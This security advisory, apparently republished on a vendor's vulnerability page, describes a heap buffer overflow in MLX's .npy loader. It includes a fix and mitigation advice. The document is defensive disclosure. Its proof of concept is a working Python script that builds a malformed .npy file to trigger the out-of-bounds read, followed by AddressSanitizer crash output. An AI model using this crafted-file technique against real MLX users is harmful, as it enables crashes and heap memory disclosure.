GHSA-w6vg-jg77-2qg6
MLX has heap-buffer-overflow in load()
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
mlxReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.
Environment:
- OS: Ubuntu 20.04.6 LTS
- Compiler: Clang 19.1.7
Vulnerability
The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.
Location: mlx/io/load.cpp:268,276
Bug #1 (line 268):
std::string header(&buffer[0]); // stops at first null byte
Bug #2 (line 276):
bool col_contiguous = header[34] == 'T'; // No bounds check
Possible Fix
// Line 268
std::string header(&buffer[0], header_len);
// Line 276
if (header.length() < 35) throw std::runtime_error("Malformed header");
PoC
pip install mlx
# generate exploit
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py
python3 -c "import mlx.core as mx; mx.load('exploit.npy')"
AddressSanitizer Output (with instrumented build):
=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x503000000152 thread T0
#0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
#1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)
allocated by thread T0 here:
#0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
#1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14
#2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11
#3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4
#4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9
#5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15
#6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)
Shadow bytes around the buggy address:
0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00
0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa
0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3179==ABORTING
Impact
- Attack vector: Malicious
.npyfile (model weights, datasets, checkpoints) - Affects: MLX users on all platforms who call the vulnerable methods with unsanitized input.
- Result: Application crash + potential 13-byte heap leak
Credits:
- Markiyan Melnyk (ARIMLABS)
- Mykyta Mudryi (ARIMLABS)
- Markiyan Chaklosh (ARIMLABS)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mlx | all versions | 0.29.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mlx. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update mlx to 0.29.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w6vg-jg77-2qg6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-w6vg-jg77-2qg6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-w6vg-jg77-2qg6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w6vg-jg77-2qg6 in your dependencies?
O3 detects GHSA-w6vg-jg77-2qg6 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.